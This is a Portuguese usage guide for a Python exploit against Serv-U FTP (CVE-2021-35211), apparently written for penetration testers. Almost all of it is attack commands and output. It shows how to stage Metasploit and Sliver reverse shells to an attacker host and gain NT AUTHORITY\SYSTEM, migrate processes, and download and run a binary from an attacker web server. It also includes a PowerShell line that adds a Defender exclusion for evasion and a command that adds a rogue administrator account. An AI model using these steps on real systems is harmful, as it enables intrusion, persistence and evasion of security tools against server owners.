
Exploit do Serv-U-FTP CVE-2021-35211
O exploit não funciona todas as vezes, mas funciona o suficiente para executar shellcode em aproximadamente 1 em cada 5 ou 6 execuções. No entanto, às vezes um exploit falho pode travar o servidor Serv-U. Certifique-se de que suas regras de engajamento permitam o risco de perda ou degradação do serviço. Os sintomas observados nos testes incluem:
Caveat emptor.
As versões são importantes. Este exploit usa endereços ROP codificados que são válidos apenas contra a versão 15.2.3.717 do Serv-U. Podemos adicionar outras versões; por favor, pergunte se precisar que funcione com versões diferentes do Serv-U ou Windows.
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717
Ele aceita os seguintes argumentos:
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...
Existem três modos (ou payloads) que você pode executar em um ataque bem-sucedido:
stageexecdownloadexecApós um exploit bem-sucedido, executa um stager de shellcode compatível com Metasploit/Sliver. É o menos confiável de todos os payloads; considere downloadexec em vez disso. Execute assim:
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort
positional arguments:
stageHost Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance
stagePort Port number for your staging instance
optional arguments:
-h, --help show this help message and exit
stageHost e stagePort apontarão para um handler de escuta na sua máquina Sliver/Metasploit. Você pode escolher qualquer payload que desejar, mas descobri que o único que funciona de forma confiável é windows/x64/shell/reverse_tcp. É uma pena porque isso não é um shell criptografado e você precisará verificar suas regras de engajamento antes de obter algo assim.
Novamente, caveat emptor.
Configure no Metasploit rodando na sua máquina Kali assim:
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.
Então execute o exploit:
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
De volta na máquina Kali, você deve ver a requisição de stage e o shell de comando iniciando:
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000
msf5 >sessions -i 6
[*] Starting interaction with 6...
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system
O suporte ao Sliver no payload stager é altamente experimental e raramente funciona. Se funcionar, você normalmente verá as sessões começarem e morrerem imediatamente. Mas se você conseguir uma sessão que não termine imediatamente, pode tomar medidas para manter seu acesso ao Sliver migrando para um processo diferente.
No seu servidor Sliver, execute o comando stage-listener para configurar seu listener. Veja a documentação do Sliver para mais detalhes sobre staging:
elvis@h:/ehome/haggis$ sudo sliver-server
███████╗██╗ ██╗██╗ ██╗███████╗██████╗
██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║█████╗ ██████╔╝
╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗
███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options
[*] Check for updates with the 'update' command
sliver >
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode
Execute o exploit no modo stage:
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Se o exploit funcionar (e raramente funciona com payloads Sliver ou Meterpreter), você verá algo assim (e sim, o Sliver inventou esse nome de payload sozinho!):
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC
sliver > sessions -i 4
[*] Active session ARTISTIC_PANTIES (4)
sliver (ARTISTIC_PANTIES) > info
ID: 4
Name: ARTISTIC_PANTIES
Hostname: WIN-EMCK6E5O0DI
UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
Username: NT AUTHORITY\SYSTEM
UID: S-1-5-18
GID: S-1-5-18
PID: 3956
OS: windows
Version: Server 2016 build 20348 x86_64
Arch: amd64
Remote Address: example.com:57071
Proxy URL: none
Poll Interval: 1
Reconnect Interval: 60
A primeira coisa que você deve fazer é migrar para um processo diferente, porque há uma boa chance de sua sessão do Sliver morrer e não voltar, e não sei a causa raiz no momento da escrita.
sliver (ARTISTIC_PANTIES) > ps
pid ppid owner executable session
=== ==== ===== ========== =======
0 0 [System Process] -1
4 0 System 0
...
3872 728 NT AUTHORITY\SYSTEM svchost.exe 0
4868 728 BUILTIN\Administrators Serv-U.exe 0
4636 868 BUILTIN\Administrators dllhost.exe 0
sliver (ARTISTIC_PANTIES) > migrate 3872
[*] Successfully migrated to 3872
Neste ponto, você deve ter uma sessão Sliver sólida, imune às variações do Serv-U e deste exploit.
O modo mais confiável e o menos propenso a ser detectado pela segurança de endpoint do Microsoft Defender. Isso porque ele usa um comando do Powershell (powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}") para adicionar uma exclusão de diretório ao Microsoft Defender para que binários Sliver/Meterpreter/seja lá o que for não sejam verificados em busca de malware. Isso protegerá você contra o Windows Defender, mas só isso; você precisará considerar outras tecnologias de segurança de endpoint, IDS de rede, etc.
Em caso de sucesso, baixa um binário de uma URL e o executa. Você precisará de um servidor web hospedando seu arquivo executável. Eu usei Python, mas observe que estou testando em uma rede local sem SSL. Em exploits reais, você precisará verificar suas regras de engajamento se quiser usar URLs não criptografadas.
Não pela primeira vez: caveat emptor.
Execute um listener HTTP simples assim:
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
Com o listener em execução, você pode executar o exploit:
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Você deve ver algo assim no seu listener:
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -
O alvo executará calc.exe e reiniciará o serviço Serv-U para permitir que os usuários comecem a se conectar novamente. Observe que o executável não apresentará uma janela, mas se você executar este exemplo, deverá ver wincalc.exe no Gerenciador de Tarefas.
Em caso de sucesso, executa um comando no alvo. Execute assim:
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Este exploit tende a travar o processo remoto, infelizmente. Geralmente ele reinicia e estou tentando ver se posso torná-lo mais estável, mas até lá, lembre-se: verifique suas regras de engajamento e caveat emptor.